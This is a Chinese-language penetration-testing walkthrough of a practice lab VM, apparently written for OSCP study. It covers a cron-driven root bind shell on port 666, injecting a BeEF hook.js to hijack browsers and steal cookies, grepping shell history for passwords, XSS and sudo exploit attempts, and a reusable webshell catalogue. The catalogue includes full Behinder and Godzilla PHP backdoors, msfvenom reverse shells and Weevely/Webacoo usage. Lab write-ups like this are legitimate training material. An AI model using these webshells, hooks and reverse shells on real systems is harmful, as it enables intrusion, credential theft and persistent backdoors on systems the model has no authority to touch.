→ 用低权限用户写入 payload
→ cron 以 root 身份执行
→ 改写 nc.sh
→ 666 端口变成持久化 root bind shell

整个链条完全是自己想出来的,不是照着 WP 走的,这才是真正的渗透思维。

而且这条路比反弹 shell 更优雅,因为:

  • 不依赖靶机能否出网
  • 随时可以重新连接
  • 靶机重启后 root 自动拉起监听

OSCP 考试里这种思路就是高分的关键,遇到一个看似没用的服务,多想一步能不能变成攻击入口。

钻了没用的兔子洞

announcements的文件泄露

这个目录一般扫描发现不了,是进了SSH之后发现的。

目前暂时没什么用。

admin112233-XSS

https://192.168.201.148:12380/robots.txt 可以看到如下两个网页目录

一打开火绒就报警,吓我一跳

这是靶机 12380 端口的 /admin112233/ 页面里预置了一个存储型 XSS payload,靶机作者故意放的彩蛋。

发生了什么:

  1. 页面里有 JS 代码重定向到 http://www.xss-payloads.com/,触发了杀软的 Trojan/HTML.Redirector.bz 报警
  2. 弹窗 This could of been a BeEF-XSS hook ;) 是作者留的提示,意思是"这里本可以挂一个 BeEF-XSS 钩子"

作者的意图 — BeEF 攻击路径:

如果这是真实场景,攻击者可以:

1. 在此页面注入 BeEF hook.js
2. 管理员访问该页面时浏览器被 hook
3. 通过 BeEF 控制管理员浏览器
4. 进行键盘记录、截图、内网探测等攻击

场景假设: 你只知道 https://192.168.201.148:12380,刚发现这个页面有 XSS。

第一步:信息收集,确认 XSS 存在

访问 https://192.168.201.148:12380/admin112233/ 已经弹窗,说明是存储型 XSS,payload 已经在页面里了。

第二步:启动 BeEF

1# Kali 启动 BeEF
2cd /usr/share/beef-xss
3./beef
4
5# 或者
6beef-xss

启动后访问 BeEF 控制台:

http://127.0.0.1:3000/ui/panel
# 默认账密 beef:beef

先访问本地测试 http://127.0.0.1:3000/demos/basic.html 看有没有上线

第三步:构造 hook URL

BeEF 的 hook 脚本地址:

http://172.168.169.128:3000/hook.js

第四步:想办法把 hook 注入到靶机页面

这里是关键,有几种方式:

方式一 — 如果页面本身有输入框,直接注入:

1<script src="http://192.168.45.187:3000/hook.js"></script>

这里开个上帝视角用SHayslett账户查看这个admin112233的主页写的是什么,发现是root的不能改,作罢。

方式二 — 利用 WordPress(12380 上有博客):

1. 用已破解的 WordPress 账号登录后台
2. 在文章/评论/小工具里注入 hook.js
3. 等管理员访问

提示评论等待管理员审核。

方式三 — 这个 /admin112233/ 页面本身已经有 XSS,说明可能有输入点,扫一下:

1# 用 nikto 扫 12380
2nikto -h https://192.168.201.148:12380 -ssl
3
4# 或者 gobuster 跑目录
5gobuster dir -u https://192.168.201.148:12380 -w /usr/share/wordlists/dirb/common.txt -k

第五步:受害者触发后 BeEF 控制

这里我假装John(密码是从[[#获得blog博客系统的用户密码]] 爆破的),因为在名单的第一个,目测是管理员来模拟受害者点击xss的效果

不过似乎没用。所以我直接修改admin112233的index.html 来验证。

修改 index.html 注入 BeEF hook

 1# 这里用的root账户,只是为了验证和模拟,实战的时候要看有没有权限修改
 2cat > /var/www/https/admin112233/index.html << 'EOF'
 3<html>
 4<head>
 5<title>mwwhahahah</title>
 6<body>
 7<noscript>Give yourself a cookie! Javascript didn't run =)</noscript>
 8<script type="text/javascript">
 9window.alert("This could of been a BeEF-XSS hook ;)");
10</script>
11<script src="http://192.168.45.187:3000/hook.js"></script>
12</body>
13</html>
14EOF

模拟受害者访问(在 Kali 浏览器里访问)https://192.168.201.148:12380/admin112233/ 忽略证书警告继续访问,BeEF 控制台就会出现一个上线的 zombie。注意页面是 https 但 hook.js 是 http,浏览器可能会因为混合内容拦截,需要在浏览器地址栏点击允许加载不安全内容,或者把 hook 也改成 https。

如果还是不行就修改浏览器配置,这一步还是模拟受害者浏览器设置的不安全

# Firefox 地址栏输入
about:config 
# 搜索 
security.mixed_content.block_active_content 
# 改为 false

一旦有浏览器访问了含 hook.js 的页面,BeEF 控制台会显示上线的 zombie,然后可以:

Commands 面板可执行:
├── 获取 Cookie(结合 HttpOnly 判断是否可窃取)
├── 键盘记录
├── 截图
├── 探测内网(扫描内网其他主机)
├── 获取浏览器信息、已保存密码
├── 社工弹窗(伪造登录框骗取凭据)
└── 重定向到钓鱼页面

在这个靶机的实际价值:

XSS → 窃取管理员 Cookie
     → 用 Cookie 伪造管理员登录 WordPress 后台
     → 后台上传恶意插件/主题 → webshell
     → 从 www-data 开始提权

这是一条完整的 XSS → RCE 链,不需要任何初始凭据。

不过目前因为是靶机,所以就是自娱自乐,攻击者和受害者都是我自己扮演的。

看看是哪个大冤种明文登录ssh

1grep -r "sshpass" /home/*/.bash_history 2>/dev/null

输出会直接显示文件路径,例如 /home/someuser/.bash_history:sshpass -p ...,路径里的用户名就是泄露者。

也可以更全面地搜:

1grep -r "sshpass\|password\|passwd" /home/*/.bash_history 2>/dev/null

就是你 JKanode 啊,哈哈哈哈!.bash_history 已经看完了,还可以翻这些:

 1# 最近登录记录
 2last JKanode
 3
 4# 登录失败记录
 5lastb JKanode 2>/dev/null
 6
 7# 最后一次登录时间
 8lastlog | grep JKanode
 9
10# 当前/最近的终端活动
11who
12w
13
14# 进程历史(如果有审计)
15cat /var/log/auth.log | grep JKanode

不过从 .bash_history 已经能看出这个用户的问题了 — 把密码直接明文写在命令行里(sshpass -p),这在真实环境里是严重的操作安全失误,密码会永久保存在 history 文件里,并且 ps aux 执行期间其他用户也能看到进程参数里的明文密码。

后面[[#提权root的方法]] 提权后看到的

ps aux 里有几个很有意思的发现:

1. root 在跑 nc 监听 666 端口

root  1515  nc -nlvp 666

直接连过去可能就是 root shell:

1nc 127.0.0.1 666

2. root 在跑两个可疑脚本

root  1501  /bin/bash /root/python.sh
root  1503  /bin/bash /usr/local/src/nc.sh

如果能读/写这两个脚本就可以提权,看看权限:

1ls -al /usr/local/src/nc.sh
2cat /usr/local/src/nc.sh

后面[[#666端口发现]]也看了就一个没用的图片

3. JKanode 从没登录过(Never logged in

但他的家目录在跑 SimpleHTTPServer 8888,说明是 root 以他的身份启动的,这个账户是个"服务账户",history 里的密码是别人操作留下的。

4. 开放的服务一览

  • :80 — php -S (www用户)
  • :8888 — python SimpleHTTPServer (JKanode)
  • :666 — nc root监听 ← 最可疑
  • sshd/vsftpd/smbd/mysql — 常规服务

优先试 666 端口。

666端口发现

针对未知服务的端口,可使用 nc 工具进行探测

1nc 172.168.169.129 666

输出乱码,但是可以发现message2.jpg清晰字样

nc 192.168.179.149 666 > message_666
file message_666     //发现是一个zip压缩包
unzip message_666
查看message2.jpg

没什么用,就是出现一个新用户而已。但是后来linpeas审计之后发现配合定时任务是可用的。[[#666端口兔子洞变真洞]]

smb开放的文件夹

smbclient -N //172.168.169.129/tmp
smbclient -N //172.168.169.129/tmp

彩蛋一样的新用户

发现新用户 Barry

又发现一个新的人Abby,这个人没有出现在之前的ssh和ftp用户名之中。

同样新出现的人,还有标题里面的这个 Tim

不小心吃了一嘴狗粮,草

Hello Dolly 是 WordPress 默认自带的彩蛋插件,Matt Mullenweg(WordPress 创始人)亲自写的,每次进后台都会在右上角随机显示一句歌词。

还tm真有

Akismet 插件XSS漏洞

这两个洞都是存储型 XSS,但实际价值有限,分析一下:

37902.php — legacy.php XSS

1# 直接运行,目标是 WordPress 评论区注入
2php 37902.php 172.168.169.131:12380/blogblog

原理是向 /wp-content/plugins/akismet/legacy.php POST 一个含 XSS payload 的请求,payload 会存储在评论里,管理员审核评论时触发。

30036.html — 后台配置页 XSS

这个需要管理员权限才能访问 /wp-admin/plugins.php,直接在浏览器打开这个 html 文件然后提交表单,触发后台 XSS。

实际情况:

1# 先确认 legacy.php 是否存在
2curl -k https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/legacy.php

插件目录返回 403,legacy.php 可能不存在(新版本已移除),这个洞基本没法利用。

对这个靶机意义不大的原因:

你已经有 root,这两个 XSS 的最终目标也不过是窃取管理员 Cookie 然后登录后台,远不如直接用之前的 advanced-video-embed 插件洞(任意文件读取)来得直接,那个洞可以直接读 wp-config.php 拿数据库密码。

继续跑 39646.py 那条路更有价值。

shortcode-ui 和 two-factor 插件没有符合的洞

没有符合的洞可用

搜索框sql注入失败

提权CVE-2021-3156漏洞失败

从linpeas 跑出来的结果中丢AI审计的,malloc(): memory corruption + core dump = 漏洞存在,可以利用:

1# 下载 PoC
2wget https://codeload.github.com/worawit/CVE-2021-3156/zip/main -O baron.zip
3unzip baron.zip
4cd CVE-2021-3156-main
5# 这个靶机是 i386 架构,选对应版本
6python3 exploit_nss.py

glibc 版本太低(Ubuntu 16.04 用的是 2.23),这个 PoC 不适用,换一个不依赖 tcache 的版本:

bash

1# 换 blasty 的版本
2wget https://codeload.github.com/blasty/CVE-2021-3156/zip/main -O blasty.zip
3unzip blasty.zip
4cd CVE-2021-3156-main
5make

运行时需要指定目标系统:

bash

1./sudo-hax-me-a-sandwich
2# 会列出支持的目标列表,找 Ubuntu 16.04 对应的编号
3./sudo-hax-me-a-sandwich 0  # 0换成对应编号

没有对应的预设目标,Ubuntu 16.04 + sudo 1.8.16 不在列表里,手动模式需要精确计算偏移量,比较麻烦。

直接放弃这条路,这台靶机 CVE-2021-3156 实际上打不通,原因:

  • glibc 2.23 太旧,tcache 版不行
  • blasty 版没有 Ubuntu 16.04 的预设偏移
  • 手动计算偏移需要本地调试环境

WebShell 的常用姿势

1. 反弹 Shell(已用过)

1cp /usr/share/webshells/php/php-reverse-shell.php .
2sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.128';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php

2. Webacoo

1# 安装
2apt install webacoo -y
3
4# 生成加密 webshell
5webacoo -g -o shell.php
6
7# 连接
8webacoo -t -u https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php

特点:流量经过 base64 编码,绕过简单 WAF。

3. Weevely

1# 生成
2weevely generate hacker123 shell.php
3
4# 连接
5weevely https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php hacker123

特点:流量混淆,功能强大,自带文件管理/端口扫描/提权建议等模块。

4. MSF 生成

 1# 生成 meterpreter 反弹 shell
 2msfvenom -p php/meterpreter/reverse_tcp \
 3  LHOST=172.168.169.128 LPORT=4444 \
 4  -f raw > shell.php
 5
 6# MSF 开监听
 7msfconsole -q -x "use multi/handler; \
 8  set payload php/meterpreter/reverse_tcp; \
 9  set LHOST 172.168.169.128; \
10  set LPORT 4444; run"

特点:拿到 meterpreter session,功能最强,可直接联动后续提权模块。

5. 冰蝎(Behinder)

 1# 冰蝎生成的 PHP shell 固定模板
 2cat > shell.php << 'EOF'
 3<?php
 4@error_reporting(0);
 5session_start();
 6$key="e45e329feb5d925b";
 7$_SESSION['k']=$key;
 8session_write_close();
 9$post=file_get_contents("php://input");
10if(!extension_loaded('openssl')){
11    $t="base64_decode";
12    $post=$t($post."");
13    for($i=0;$i<strlen($post);$i++){
14        $post[$i]=$post[$i]^$key[$i+1&15];
15    }
16}else{
17    $post=openssl_decrypt($post,"AES128",$key);
18}
19$arr=explode('|',$post);
20$func=$arr[0];
21$params=$arr[1];
22class C{public function __construct($p){eval($p);}}
23@new C($params);
24?>
25EOF

连接时用冰蝎客户端,密钥默认 e45e329feb5d925b,流量 AES 加密,绕过 WAF 能力最强。

6. 哥斯拉(Godzilla)

 1cat > shell.php << 'EOF'
 2<?php
 3@session_start();
 4@set_time_limit(0);
 5@error_reporting(0);
 6function encode($D,$K){
 7    for($i=0;$i<strlen($D);$i++){
 8        $c=$K[$i+1&15];
 9        $D[$i]=$D[$i]^$c;
10    }
11    return $D;
12}
13$pass='pass';
14$payloadName='payload';
15$key='3c6e0b8a9c15224a';
16if(isset($_POST[$pass])){
17    $data=encode(base64_decode($_POST[$pass]),$key);
18    if(isset($_SESSION[$payloadName])){
19        $payload=encode($_SESSION[$payloadName],$key);
20        eval($payload);
21        echo substr(md5($pass.$key),0,16);
22        echo base64_encode(encode(@run($data),$key));
23        echo substr(md5($pass.$key),16);
24    }else{
25        if(stripos($data,"getBasicsInfo")!==false){
26            $_SESSION[$payloadName]=encode($data,$key);
27        }
28    }
29}
30EOF

各工具对比:

工具流量特征功能适用场景
反弹Shell明文基础快速拿shell
Weevely混淆中等有WAF环境
Webacoobase64中等简单绕过
MSF可加密最强需要后续提权
冰蝎AES加密企业WAF环境
哥斯拉XOR加密国内靶场常用

踩坑

Nmap网络波动问题漏扫

/var/www/http 网站文件夹下明明有网页的文件

但是网站无论怎么刷新就是没有,拼接了目录也不行,所以我怀疑是nmap扫漏了端口。

重新扫一下就发现了新端口,其中12380就是网页

点开看网页的源代码,对比就是一个,确定12380端口就是/var/www/http 网站文件夹下的网站

总结

入侵路径示意图

Structured Red Team Flow-2026-03-16-054912.png

入侵时间表

14号速通靶机后一直在复盘,这个靶机真的是越摸越有,一直盘到16号13点47分


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

推荐阅读


Licensed under CC BY-NC-SA 4.0